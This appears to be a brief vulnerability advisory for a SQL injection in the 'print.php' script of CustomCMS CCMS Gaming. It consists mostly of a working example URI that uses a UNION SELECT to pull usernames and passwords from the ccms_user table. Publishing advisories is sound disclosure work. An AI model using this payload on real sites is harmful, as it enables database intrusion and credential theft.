• info
• discussion
• exploit
• solution
• references

CustomCMS CCMS Gaming 'print.php' SQL Injection Vulnerability

Attackers can use a browser to exploit this issue.

The following example URI has been provided:

http://www.example.com/print.php?id='+union+select+1,concat_ws(0x3a,username,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16, 7,18,19,20,21+from+ccms_user+where+userid=1/*